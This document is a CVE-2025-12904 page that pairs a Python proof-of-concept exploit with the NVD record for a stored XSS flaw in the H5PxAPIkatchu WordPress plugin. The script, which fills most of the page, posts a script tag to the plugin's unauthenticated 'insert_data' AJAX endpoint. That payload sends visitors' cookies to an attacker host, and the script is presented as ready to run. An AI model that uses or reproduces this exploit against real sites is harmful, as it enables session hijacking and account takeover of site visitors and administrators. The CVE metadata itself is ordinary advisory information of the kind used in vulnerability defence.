CVE-2025-12904

import requests import sys # CVE-2025-12904 PoC - Stored XSS in H5PxAPIkatchu plugin # Target: WordPress site with H5PxAPIkatchu plugin <= 0.4.17 TARGET_URL = "http://target-wordpress-site.com" AJAX_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" def exploit_stored_xss(): """ Exploits CVE-2025-12904 by injecting malicious JavaScript via insert_data AJAX endpoint The injected script will execute when any user accesses the affected page """ # Malicious XSS payload - steals admin cookies xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Prepare the POST request to insert_data endpoint data = { 'action': 'insert_data', # AJAX action hook 'insert_data': xss_payload # Unsanitized input field } try: # Send POST request without authentication (PR:N) response = requests.post(AJAX_ENDPOINT, data=data, timeout=10) if response.status_code == 200: print(f"[+] Payload sent successfully!") print(f"[+] The XSS payload has been stored in the database") print(f"[+] The script will execute when users access affected pages") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("CVE-2025-12904 - H5PxAPIkatchu Stored XSS Exploit") print("=" * 50) exploit_stored_xss()

{"cve": {"id": "CVE-2025-12904", "sourceIdentifier": "[email protected]", "published": "2025-11-14T03:15:56.230", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SNORDIAN's H5PxAPIkatchu plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'insert_data' AJAX endpoint in all versions up to, and including, 0.4.17 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3392176/h5pxapikatchu", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/90552d5a-6103-48c7-ad44-52ee8ecac114?source=cve", "source": "[email protected]"}]}}